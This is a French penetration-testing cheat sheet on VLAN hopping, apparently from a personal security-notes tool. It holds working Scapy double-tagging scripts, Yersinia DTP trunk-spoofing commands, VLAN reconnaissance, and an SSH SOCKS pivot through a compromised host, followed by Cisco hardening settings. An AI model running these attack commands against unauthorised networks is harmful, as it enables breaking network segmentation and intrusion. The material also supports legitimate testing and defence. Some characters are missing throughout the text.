MDstable
NoteSnippetChecklistPlaybook

VLAN Hopping — Double Tagging & Switch Spoofing

Attaques VLAN : double tagging 802.1Q, switch spoofing DTP, contournement de segmentation réseau

snippetadvanced 2026-05-14 5 min read
vlanvlan-hoppingdouble-taggingdtpswitch-spoofing802.1qnetworkpentest

Principe du VLAN Hopping

Objectif accder un VLAN cible depuis un VLAN non autoris
en contournant la segmentation sans routage
Deux techniques
1 Double Tagging exploite les switchs qui n'enlèvent qu'un tag 802
2 Switch Spoofing se faire passer pour un switch trunk DTP

Technique 1 — Double Tagging (802.1Q)

Variables
{{VICTIM_VLAN}}
Condition
Le port de lattaquant est un access port sur le VLAN natif ex VLAN 1
Le switch upstream ne retire que le premier tag 802
Payload
Trame Ethernet avec 2 tags 802 empils
Outer Tag VLAN 1 natif Inner Tag VLAN {{VICTIM_VLAN}} Payload
Flux
Attaquant Switch 1 retire outer tag VLAN 1 Switch 2 voit inner tag VLAN {{VICTIM_VLAN}} Victime
Limitation unidirectionnel les rponses ne reviennent pas
Utile pour scan UDP SNMP envoi de paquets broadcast
bash
Variables
{{VICTIM_VLAN}}
{{VICTIM_IP}}
{{INTERFACE}}
# Scapy — envoyer une trame double-tagged
python3 << 'EOF'
from scapyall import
# Attaquant sur VLAN 1 (natif), cible sur VLAN {{VICTIM_VLAN}}
# Outer tag = VLAN natif du switch (1), inner tag = VLAN cible
pkt Etherdst"ff:ff:ff:ff:ff:ff"
Dot1Qvlan1
Dot1Qvlan{{VICTIM_VLAN}}
IPdst"{{VICTIM_IP}}"
ICMP
sendppkt iface"{{INTERFACE}}" count3 verboseTrue
EOF
bash
Variables
{{INTERFACE}}
{{VICTIM_VLAN}}
{{VICTIM_SUBNET}}
# Double-tagged ARP request vers le VLAN cible
python3 << 'EOF'
from scapyall import
pkt Etherdst"ff:ff:ff:ff:ff:ff" srcget_if_hwaddr"{{INTERFACE}}"
Dot1Qvlan1
Dot1Qvlan{{VICTIM_VLAN}}
ARPop1 pdst"{{VICTIM_SUBNET}}"
sendppkt iface"{{INTERFACE}}" verboseTrue
EOF

Technique 2 — Switch Spoofing (DTP)

Condition
Le port de lattaquant a DTP activ mode dynamic auto ou dynamic desirable
Le switch accepte les ngociations DTP
Flux
Attaquant envoie des trames DTP negocie un trunk accs TOUS les VLANs
bash
Variables
{{INTERFACE}}
# Yersinia — outil d'attaque sur les protocoles de couche 2
# Installation
apt install yersinia -y
# Mode interactif
yersinia -I
# Ou directement : attaque DTP pour établir un trunk
yersinia dtp -attack 1 -interface {{INTERFACE}}
# attack 1 = Enabling trunk
# Vérifier que le trunk est établi
ip link show {{INTERFACE}}
bash
Variables
{{INTERFACE}}
{{TARGET_VLAN}}
# Alternative : créer manuellement des sous-interfaces VLAN (si trunk établi)
modprobe
# Ajouter les VLANs un par un
vconfig add {{INTERFACE}} {{TARGET_VLAN}}
ip link set {{INTERFACE}}{{TARGET_VLAN}} up
dhclient {{INTERFACE}}{{TARGET_VLAN}}
ip addr show {{INTERFACE}}{{TARGET_VLAN}}
# Ou via iproute2 (moderne)
ip link add link {{INTERFACE}} name {{INTERFACE}}{{TARGET_VLAN}} type vlan id {{TARGET_VLAN}}
ip link set {{INTERFACE}}{{TARGET_VLAN}} up
dhclient {{INTERFACE}}{{TARGET_VLAN}}

Reconnaissance VLAN

bash
Variables
{{INTERFACE}}
{{VLAN_SUBNET}}
# Identifier les VLANs depuis les trames CDP (Cisco Discovery Protocol)
yersinia cdp -attack 0 -interface {{INTERFACE}}
# Capture les annonces CDP → révèle les VLANs voisins
# Wireshark / tshark — capturer les trames CDP, DTP, STP
tshark -i {{INTERFACE}} -f "ether[12:2] == 0x8100" -V # trames 802.1Q
tshark -i {{INTERFACE}} -Y "cdp or dtp or stp"
# Détecter le VLAN natif par analyse du trafic
# Les trames sans tag 802.1Q = VLAN natif du trunk
tshark -i {{INTERFACE}} -Y "not vlan" -c 100
# Nmap sur un VLAN une fois accessible
nmap -sn {{VLAN_SUBNET}} --send-eth

Pivoting inter-VLAN via VLAN hopping

bash
Variables
{{INTERFACE}}
{{TARGET_VLAN}}
{{TARGET_VLAN_SUBNET}}
{{USER}}
{{VLAN_PIVOT_HOST}}
{{INTERNAL_TARGET}}
# Objectif : scanner un VLAN inaccessible via la route normale
# 1. Établir le trunk (DTP spoofing)
yersinia dtp -attack 1 -interface {{INTERFACE}}
# 2. Créer l'interface taguée
ip link add link {{INTERFACE}} name vlan{{TARGET_VLAN}} type vlan id {{TARGET_VLAN}}
ip link set vlan{{TARGET_VLAN}} up
dhclient vlan{{TARGET_VLAN}}
# 3. Scanner le réseau cible depuis la nouvelle interface
nmap -sV -p 22804434453389 {{TARGET_VLAN_SUBNET}} -e vlan{{TARGET_VLAN}}
# 4. Proxy SOCKS via SSH depuis un hôte compromis sur le VLAN cible
ssh -D 1080 {{USER}}{{VLAN_PIVOT_HOST}} -N &
proxychains nmap -sT -p 80443 {{INTERNAL_TARGET}}

Défense — Contre-mesures VLAN Hopping

Désactiver DTP (switch Cisco)

Variables
{{ACCESS_VLAN}}
{{ALLOWED_VLANS}}
Sur tous les ports access dsactiver DTP
interface range GigabitEthernet0/1 24
switchport mode access
switchport nonegotiate Dsactive DTP pas de ngociation trunk
switchport access vlan {{ACCESS_VLAN}}
switchport nonegoitate
Sur les ports trunk lgitimes uniquement
interface GigabitEthernet0/48
switchport mode trunk
switchport nonegotiate Trunk statique pas de DTP
switchport trunk allowed vlan {{ALLOWED_VLANS}}

Changer le VLAN natif

Variables
{{UNUSED_VLAN_ID}}
Ne jamais utiliser VLAN 1 comme natif changer pour un VLAN ddi inutilis
interface GigabitEthernet0/48
switchport trunk native vlan {{UNUSED_VLAN_ID}} ex VLAN 999
Taguer aussi les trames du VLAN natif contre le double tagging
vlan dot1q tag native
Ou globalement sur Cisco IOS
vlan dot1q tag native global config

VLAN Access Map (filtrage inter-VLAN)

Variables
{{RESTRICTED_VLANS}}
Crer un VLAN access map pour bloquer le trafic inter-VLAN non autoris
vlan access-map BLOCK_CROSS 10
action drop
match ip address ACL_BLOCK_CROSS_VLAN
vlan filter BLOCK_CROSS vlan-list {{RESTRICTED_VLANS}}
bash
Variables
{{INTERFACE}}
# Vérification : depuis la machine attaquante, DTP ne doit plus fonctionner
yersinia dtp -attack 1 -interface {{INTERFACE}}
# → Aucun trunk établi si nonegotiate est actif
# Vérifier la config DTP sur un switch Cisco
show interfaces {{INTERFACE}} trunk
show dtp interface {{INTERFACE}}
# "Trunking Mode : OFF" ou "nonegotiate" = correct
⚠ Attention —

VLAN 1 est le VLAN natif par défaut sur Cisco. Tous les switchs d'un réseau utilisant VLAN 1 comme natif sont potentiellement vulnérables au double tagging depuis n'importe quel port access dans ce VLAN — même un port de salle de réunion ou une prise murale non utilisée. Changer le VLAN natif pour un VLAN vide (ex: 999) est une mesure de 2 minutes qui élimine ce vecteur.

💡 Tip —

switchport nonegotiate est la mesure la plus impactante contre le DTP spoofing — elle doit être appliquée sur TOUS les ports access, pas seulement les ports "sensibles". En mode trunk statique, même les ports trunk légitimes devraient l'avoir pour éviter la renégociation forcée par un attaquant.

OPS·BRAIN v1.075 notes · Securitylocal